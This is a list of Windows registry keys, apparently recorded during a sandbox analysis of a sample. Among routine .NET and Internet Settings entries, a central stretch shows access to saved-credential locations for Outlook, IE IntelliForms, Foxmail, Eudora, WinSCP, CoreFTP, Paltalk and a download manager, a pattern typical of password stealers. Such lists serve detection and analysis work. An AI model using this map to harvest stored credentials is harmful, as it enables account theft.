HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.8.0.Microsoft.VisualBasic.resources_it-IT_b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6d5fb745\1c4dd593
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.8.0.Microsoft.VisualBasic.resources_it_b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6d5fb745\4deb99ab
HKEY_LOCAL_MACHINE\Software\Policies
HKEY_CURRENT_USER\Software\Policies
HKEY_CURRENT_USER\Software
HKEY_LOCAL_MACHINE\Software
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Url History
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Url History
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Url History
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\Url History
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\Url History\DaysToKeep
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{3512230a-fb0b-11e5-b945-806e6f6e6963}\
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{3512230a-fb0b-11e5-b945-806e6f6e6963}\Data
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{3512230a-fb0b-11e5-b945-806e6f6e6963}\Generation
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{35122306-fb0b-11e5-b945-806e6f6e6963}\
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{35122306-fb0b-11e5-b945-806e6f6e6963}\Data
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{35122306-fb0b-11e5-b945-806e6f6e6963}\Generation
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{35122307-fb0b-11e5-b945-806e6f6e6963}\
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{35122307-fb0b-11e5-b945-806e6f6e6963}\Data
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{35122307-fb0b-11e5-b945-806e6f6e6963}\Generation
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\SyncMode5
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\SessionStartTimeDefaultDeltaSecs
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Signature
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\PerUserItem
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\PerUserItem
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\PerUserItem
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\PerUserItem
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\PerUserItem
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\PerUserItem
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\DOMStore
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\DOMStore\CacheRepair
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\DOMStore\CachePath
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\DOMStore\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\DOMStore\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\DOMStore\CacheOptions
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\feedplat
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\feedplat\CacheRepair
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\feedplat\CachePath
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\feedplat\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\feedplat\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\feedplat\CacheOptions
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\iecompat
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\iecompat\CacheRepair
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\iecompat\CachePath
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\iecompat\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\iecompat\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\iecompat\CacheOptions
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\ietld
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\ietld\CacheRepair
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\ietld\CachePath
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\ietld\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\ietld\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\ietld\CacheOptions
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012017011320170114
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012017011320170114\CacheRepair
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012017011320170114\CachePath
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012017011320170114\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012017011320170114\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012017011320170114\CacheOptions
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\PrivacIE:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\PrivacIE:\CacheRepair
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\PrivacIE:\CachePath
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\PrivacIE:\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\PrivacIE:\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\PrivacIE:\CacheOptions
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\UserData
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\UserData\CacheRepair
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\UserData\CachePath
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\UserData\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\UserData\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\UserData\CacheOptions
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\CreateUriCacheSize
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\CreateUriCacheSize
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\CreateUriCacheSize
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\CreateUriCacheSize
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\EnablePunycode
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\EnablePunycode
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\EnablePunycode
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\EnablePunycode
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_HTTP_USERNAME_PASSWORD_DISABLE
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_HTTP_USERNAME_PASSWORD_DISABLE
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_HTTP_USERNAME_PASSWORD_DISABLE\regasm.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_HTTP_USERNAME_PASSWORD_DISABLE\*
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ALLOW_REVERSE_SOLIDUS_IN_USERINFO_KB932562
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_ALLOW_REVERSE_SOLIDUS_IN_USERINFO_KB932562
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\MissingDependencies
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\Storage2
HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676
HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\Email
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\IMAP Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\POP3 Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\HTTP Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\SMTP Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\Email
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\IMAP Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\POP3 Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\HTTP Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\SMTP Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\Email
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\IMAP Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\POP3 Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\HTTP Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\SMTP Password
HKEY_CURRENT_USER\Software\Aerofox\FoxmailPreview
HKEY_CURRENT_USER\Software\Aerofox\Foxmail\V3.1
HKEY_CURRENT_USER\Software\Qualcomm\Eudora\CommandLine
HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions
HKEY_CLASSES_ROOT\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\InProcServer32\Class
HKEY_CURRENT_USER\Software\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}
HKEY_CURRENT_USER\Software\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0
HKEY_CURRENT_USER\Software\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\410
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\410
HKEY_CURRENT_USER\Software\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\10
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\10
HKEY_CURRENT_USER\Software\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\0
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\0
HKEY_CURRENT_USER\Software\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\0\win32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\0\win32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\0\win32\(Default)
HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites
HKEY_CURRENT_USER\Software\Paltalk
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FTP Commander
HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC
HKEY_CURRENT_USER\SOFTWARE\Vitalwerks\DUC
HKEY_CURRENT_USER\Software\DownloadManager\Passwords
HKEY_CLASSES_ROOT\CLSID\{FAE3D380-FEA4-4623-8C75-C6B61110B681}\Instance
HKEY_CLASSES_ROOT\CLSID\{FAE3D380-FEA4-4623-8C75-C6B61110B681}\Instance\Disabled
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Drawing.resources_it-IT_b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\2d481436\459027dd
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Drawing.resources_it_b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\2d481436\3fcd30a3
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.resources_it-IT_b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\433351e7\2db83a0b
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.resources_it_b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\433351e7\26b4a30
HKEY_USERS\S-1-5-20_Classes
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\TreatAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LocalServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LocalServer32\LocalServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LocalServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LocalServer32\ServerExecutable
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\AppID
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LocalService
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\DllSurrogate
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\RunAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\ActivateAtStorage
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\ROTFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\AppIDFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LaunchPermission
HKEY_LOCAL_MACHINE\Software\Microsoft\OLE
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\LegacyAuthenticationLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\LegacyImpersonationLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\AuthenticationLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\RemoteServerName
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\SRPTrustLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\PreferredServerBitness
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LoadUserSettings
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\Elevation
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerRequestOverride
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\PowerRequestOverride
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Power\PowerRequestOverride\Driver
HKEY_LOCAL_MACHINE\Software\Microsoft\COM3
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3\REGDBVersion
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\##?#IDE#CdRomVBOX_CD-ROM_____________________________1.0_____#5&106af171&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\#
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\##?#IDE#CdRomVBOX_CD-ROM_____________________________1.0_____#5&106af171&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\##?#IDE#CdRomVBOX_CD-ROM_____________________________1.0_____#5&106af171&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\##?#STORAGE#Volume#{35122303-fb0b-11e5-b945-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\#
